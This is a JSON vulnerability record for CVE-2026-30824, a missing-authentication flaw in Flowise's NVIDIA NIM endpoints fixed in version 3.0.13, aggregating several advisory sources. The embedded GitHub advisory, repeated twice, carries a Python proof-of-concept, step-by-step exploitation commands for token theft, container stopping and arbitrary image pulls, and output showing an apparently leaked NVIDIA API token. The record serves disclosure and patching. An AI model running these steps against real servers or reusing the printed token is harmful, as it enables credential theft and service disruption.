{"id":"CVE-2026-30824","aliases":["EUVD-2026-10111","GHSA-5f53-522j-j454"],"status":"published","title":"Flowise: Missing Authentication on NVIDIA NIM Endpoints","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to version 3.0.13, the NVIDIA NIM router (/api/v1/nvidia-nim/*) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints. This issue has been patched in version 3.0.13.","severity":{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.3733,"percentile":0.98546,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-306"],"published":"2026-03-06T22:21:38Z","modified":"2026-10-28T02:31:07Z","exploits":[{"source":"nuclei","id":"CVE-2026-30824","title":"Flowise - NVIDIA NIM Endpoints Missing Authentication","type":"detection template","url":"https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2026/CVE-2026-30824.yaml"},{"source":"pocgithub","id":"dylvie/CVE-2026-30824-Flowise-NVIDIA-NIM-Authentication","title":"dylvie/CVE-2026-30824-Flowise-NVIDIA-NIM-Authentication","date":"2026-04-29","url":"https://github.com/dylvie/CVE-2026-30824-Flowise-NVIDIA-NIM-Authentication"}],"fixes":[{"ecosystem":"npm","package":"flowise","fixed_in":["3.0.13"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"flowise","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.0.12"},{"fixed":"3.0.13"}]}]},{"source":"osv","ecosystem":"npm","package":"flowise","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.13"}]}]}],"products":[{"vendor":"flowiseai","product":"flowise"}],"references":[{"url":"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-5f53-522j-j454","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.13","tags":["x_refsource_MISC","Product","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30824","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-5f53-522j-j454"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/30xxx/CVE-2026-30824.json","tags":["advisory"]},{"url":"https://github.com/FlowiseAI/Flowise","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-30824","title":"Flowise: Missing Authentication on NVIDIA NIM Endpoints","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to version 3.0.13, the NVIDIA NIM router (/api/v1/nvidia-nim/*) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints. This issue has been patched in version 3.0.13.","status":"published","published":"2026-03-07T05:11:15.363Z","modified":"2026-03-09T20:44:24.459Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-306"],"updated_at":"2026-11-02T13:43:56.024247Z"}],"euvd":[{"id":"EUVD-2026-10111","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to version 3.0.13, the NVIDIA NIM router (/api/v1/nvidia-nim/*) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints. This issue has been patched in version 3.0.13.","status":"published","published":"2026-03-07T05:11:15Z","modified":"2026-03-09T20:44:24Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T19:48:06.014236Z"}],"ghsa":[{"id":"GHSA-5f53-522j-j454","title":"Flowise Missing Authentication on NVIDIA NIM Endpoints","description":"# Missing Authentication on NVIDIA NIM Endpoints\n\n## Summary\n\nThe NVIDIA NIM router (`/api/v1/nvidia-nim/*`) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| CWE | CWE-306: Missing Authentication for Critical Function |\n| Affected File | `packages/server/src/utils/constants.ts` |\n| Affected Line | Line 20 (`'/api/v1/nvidia-nim'` in `WHITELIST_URLS`) |\n| CVSS 3.1 | 8.6 (High) |\n\n## Root Cause\n\nIn `packages/server/src/utils/constants.ts`, the NVIDIA NIM route is added to the authentication whitelist:\n\n```typescript\nexport const WHITELIST_URLS = [\n    // ... other URLs\n    '/api/v1/nvidia-nim',  // Line 20 - bypasses JWT/API-key validation\n    // ...\n]\n```\n\nThis causes the global auth middleware to skip authentication checks for all endpoints under `/api/v1/nvidia-nim/*`. None of the controller actions in `packages/server/src/controllers/nvidia-nim/index.ts` perform their own authentication checks.\n\n## Affected Endpoints\n\n| Method | Endpoint | Risk |\n|--------|----------|------|\n| GET | `/api/v1/nvidia-nim/get-token` | Leaks valid NVIDIA API token |\n| GET | `/api/v1/nvidia-nim/preload` | Resource consumption |\n| GET | `/api/v1/nvidia-nim/download-installer` | Resource consumption |\n| GET | `/api/v1/nvidia-nim/list-running-containers` | Information disclosure |\n| POST | `/api/v1/nvidia-nim/pull-image` | Arbitrary image pull |\n| POST | `/api/v1/nvidia-nim/start-container` | Arbitrary container start |\n| POST | `/api/v1/nvidia-nim/stop-container` | Denial of Service |\n| POST | `/api/v1/nvidia-nim/get-image` | Information disclosure |\n| POST | `/api/v1/nvidia-nim/get-container` | Information disclosure |\n\n## Impact\n\n### 1. NVIDIA API Token Leakage\n\nThe `/get-token` endpoint returns a valid NVIDIA API token without authentication. This token grants access to NVIDIA's inference API and can list 170+ LLM models.\n\n**Token obtained:**\n```json\n{\n  \"access_token\": \"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\",\n  \"token_type\": \"Bearer\",\n  \"expires_in\": 3600\n}\n```\n\n**Token validation:**\n```bash\ncurl -H \"Authorization: Bearer nvapi-GT-...\" https://integrate.api.nvidia.com/v1/models\n# Returns list of 170+ available models\n```\n\n### 2. Container Runtime Manipulation\n\nOn systems with Docker/NIM installed, an unauthenticated attacker can:\n- List running containers (reconnaissance)\n- Stop containers (Denial of Service)\n- Start containers with arbitrary images\n- Pull arbitrary Docker images (resource consumption, potential malicious images)\n\n## Proof of Concept\n\n### poc.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPOC: Privileged NVIDIA NIM endpoints are unauthenticated\n\nUsage:\n  python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token\n\"\"\"\n\nimport argparse\nimport urllib.request\nimport urllib.error\n\ndef main():\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:port\")\n    ap.add_argument(\"--path\", required=True, help=\"NIM endpoint path\")\n    ap.add_argument(\"--method\", default=\"GET\", choices=[\"GET\", \"POST\"])\n    ap.add_argument(\"--data\", default=\"\", help=\"Raw request body for POST\")\n    args = ap.parse_args()\n\n    url = args.target.rstrip(\"/\") + \"/\" + args.path.lstrip(\"/\")\n    body = args.data.encode(\"utf-8\") if args.method == \"POST\" else None\n    req = urllib.request.Request(\n        url,\n        data=body,\n        method=args.method,\n        headers={\"Content-Type\": \"application/json\"} if body else {},\n    )\n\n    try:\n        with urllib.request.urlopen(req, timeout=10) as r:\n            print(r.read().decode(\"utf-8\", errors=\"replace\"))\n    except urllib.error.HTTPError as e:\n        print(e.read().decode(\"utf-8\", errors=\"replace\"))\n\nif __name__ == \"__main__\":\n    main()\n```\n\n\u003cimg width=\"1581\" height=\"595\" alt=\"screenshot\" src=\"https://github.com/user-attachments/assets/85351a88-64ce-4e2c-8e67-98f217fcf989\" /\u003e\n\n### Exploitation Steps\n\n```bash\n# 1. Obtain NVIDIA API token (no authentication required)\npython poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token\n\n# 2. List running containers\npython poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers\n\n# 3. Stop a container (DoS)\npython poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/stop-container \\\n  --method POST --data '{\"containerId\":\"\u003ctarget_id\u003e\"}'\n\n# 4. Pull arbitrary image\npython poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/pull-image \\\n  --method POST --data '{\"imageTag\":\"malicious/image\",\"apiKey\":\"any\"}'\n```\n\n### Evidence\n\n**Token retrieval without authentication:**\n```\n$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token\n{\"access_token\":\"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\",\"token_type\":\"Bearer\",\"refresh_token\":null,\"expires_in\":3600,\"id_token\":null}\n```\n\n**Token grants access to NVIDIA API:**\n```\n$ curl -H \"Authorization: Bearer nvapi-GT-...\" https://integrate.api.nvidia.com/v1/models\n{\"object\":\"list\",\"data\":[{\"id\":\"01-ai/yi-large\",...},{\"id\":\"meta/llama-3.1-405b-instruct\",...},...]}\n```\n\n**Container endpoints return 500 (not 401) proving auth bypass:**\n```\n$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers\n{\"statusCode\":500,\"success\":false,\"message\":\"Container runtime client not available\",\"stack\":{}}\n```\n\n## References\n\n- [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [OWASP API Security Top 10 - API2:2023 Broken Authentication](https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/)","status":"published","published":"2026-03-06T22:21:38Z","modified":"2026-03-09T13:15:56Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high"}],"cwes":["CWE-306"],"updated_at":"2026-11-02T14:39:33.538417Z"}],"nvd":[{"id":"CVE-2026-30824","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to version 3.0.13, the NVIDIA NIM router (/api/v1/nvidia-nim/*) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints. This issue has been patched in version 3.0.13.","status":"published","published":"2026-03-07T06:16:10.157Z","modified":"2026-06-17T10:32:58.787Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-306"],"updated_at":"2026-11-02T14:12:08.279852Z"}],"osv":[{"id":"CVE-2026-30824","title":"Flowise: Missing Authentication on NVIDIA NIM Endpoints","description":"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to version 3.0.13, the NVIDIA NIM router (/api/v1/nvidia-nim/*) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints. This issue has been patched in version 3.0.13.","status":"published","published":"2026-03-07T05:11:15.363Z","modified":"2026-10-28T02:31:07.959887954Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high"}],"cwes":["CWE-306"],"updated_at":"2026-11-02T15:45:00.530889Z"},{"id":"GHSA-5f53-522j-j454","title":"Flowise Missing Authentication on NVIDIA NIM Endpoints","description":"# Missing Authentication on NVIDIA NIM Endpoints\n\n## Summary\n\nThe NVIDIA NIM router (`/api/v1/nvidia-nim/*`) is whitelisted in the global authentication middleware, allowing unauthenticated access to privileged container management and token generation endpoints.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| CWE | CWE-306: Missing Authentication for Critical Function |\n| Affected File | `packages/server/src/utils/constants.ts` |\n| Affected Line | Line 20 (`'/api/v1/nvidia-nim'` in `WHITELIST_URLS`) |\n| CVSS 3.1 | 8.6 (High) |\n\n## Root Cause\n\nIn `packages/server/src/utils/constants.ts`, the NVIDIA NIM route is added to the authentication whitelist:\n\n```typescript\nexport const WHITELIST_URLS = [\n    // ... other URLs\n    '/api/v1/nvidia-nim',  // Line 20 - bypasses JWT/API-key validation\n    // ...\n]\n```\n\nThis causes the global auth middleware to skip authentication checks for all endpoints under `/api/v1/nvidia-nim/*`. None of the controller actions in `packages/server/src/controllers/nvidia-nim/index.ts` perform their own authentication checks.\n\n## Affected Endpoints\n\n| Method | Endpoint | Risk |\n|--------|----------|------|\n| GET | `/api/v1/nvidia-nim/get-token` | Leaks valid NVIDIA API token |\n| GET | `/api/v1/nvidia-nim/preload` | Resource consumption |\n| GET | `/api/v1/nvidia-nim/download-installer` | Resource consumption |\n| GET | `/api/v1/nvidia-nim/list-running-containers` | Information disclosure |\n| POST | `/api/v1/nvidia-nim/pull-image` | Arbitrary image pull |\n| POST | `/api/v1/nvidia-nim/start-container` | Arbitrary container start |\n| POST | `/api/v1/nvidia-nim/stop-container` | Denial of Service |\n| POST | `/api/v1/nvidia-nim/get-image` | Information disclosure |\n| POST | `/api/v1/nvidia-nim/get-container` | Information disclosure |\n\n## Impact\n\n### 1. NVIDIA API Token Leakage\n\nThe `/get-token` endpoint returns a valid NVIDIA API token without authentication. This token grants access to NVIDIA's inference API and can list 170+ LLM models.\n\n**Token obtained:**\n```json\n{\n  \"access_token\": \"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\",\n  \"token_type\": \"Bearer\",\n  \"expires_in\": 3600\n}\n```\n\n**Token validation:**\n```bash\ncurl -H \"Authorization: Bearer nvapi-GT-...\" https://integrate.api.nvidia.com/v1/models\n# Returns list of 170+ available models\n```\n\n### 2. Container Runtime Manipulation\n\nOn systems with Docker/NIM installed, an unauthenticated attacker can:\n- List running containers (reconnaissance)\n- Stop containers (Denial of Service)\n- Start containers with arbitrary images\n- Pull arbitrary Docker images (resource consumption, potential malicious images)\n\n## Proof of Concept\n\n### poc.py\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPOC: Privileged NVIDIA NIM endpoints are unauthenticated\n\nUsage:\n  python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token\n\"\"\"\n\nimport argparse\nimport urllib.request\nimport urllib.error\n\ndef main():\n    ap = argparse.ArgumentParser()\n    ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:port\")\n    ap.add_argument(\"--path\", required=True, help=\"NIM endpoint path\")\n    ap.add_argument(\"--method\", default=\"GET\", choices=[\"GET\", \"POST\"])\n    ap.add_argument(\"--data\", default=\"\", help=\"Raw request body for POST\")\n    args = ap.parse_args()\n\n    url = args.target.rstrip(\"/\") + \"/\" + args.path.lstrip(\"/\")\n    body = args.data.encode(\"utf-8\") if args.method == \"POST\" else None\n    req = urllib.request.Request(\n        url,\n        data=body,\n        method=args.method,\n        headers={\"Content-Type\": \"application/json\"} if body else {},\n    )\n\n    try:\n        with urllib.request.urlopen(req, timeout=10) as r:\n            print(r.read().decode(\"utf-8\", errors=\"replace\"))\n    except urllib.error.HTTPError as e:\n        print(e.read().decode(\"utf-8\", errors=\"replace\"))\n\nif __name__ == \"__main__\":\n    main()\n```\n\n\u003cimg width=\"1581\" height=\"595\" alt=\"screenshot\" src=\"https://github.com/user-attachments/assets/85351a88-64ce-4e2c-8e67-98f217fcf989\" /\u003e\n\n### Exploitation Steps\n\n```bash\n# 1. Obtain NVIDIA API token (no authentication required)\npython poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token\n\n# 2. List running containers\npython poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers\n\n# 3. Stop a container (DoS)\npython poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/stop-container \\\n  --method POST --data '{\"containerId\":\"\u003ctarget_id\u003e\"}'\n\n# 4. Pull arbitrary image\npython poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/pull-image \\\n  --method POST --data '{\"imageTag\":\"malicious/image\",\"apiKey\":\"any\"}'\n```\n\n### Evidence\n\n**Token retrieval without authentication:**\n```\n$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/get-token\n{\"access_token\":\"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\",\"token_type\":\"Bearer\",\"refresh_token\":null,\"expires_in\":3600,\"id_token\":null}\n```\n\n**Token grants access to NVIDIA API:**\n```\n$ curl -H \"Authorization: Bearer nvapi-GT-...\" https://integrate.api.nvidia.com/v1/models\n{\"object\":\"list\",\"data\":[{\"id\":\"01-ai/yi-large\",...},{\"id\":\"meta/llama-3.1-405b-instruct\",...},...]}\n```\n\n**Container endpoints return 500 (not 401) proving auth bypass:**\n```\n$ python poc.py --target http://127.0.0.1:3000 --path /api/v1/nvidia-nim/list-running-containers\n{\"statusCode\":500,\"success\":false,\"message\":\"Container runtime client not available\",\"stack\":{}}\n```\n\n## References\n\n- [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [OWASP API Security Top 10 - API2:2023 Broken Authentication](https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/)","status":"published","published":"2026-03-06T22:21:38Z","modified":"2026-03-09T13:32:37.979192Z","cvss":[{"version":"4.0","score":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high"}],"cwes":["CWE-306"],"updated_at":"2026-11-02T15:46:38.213481Z"}]}}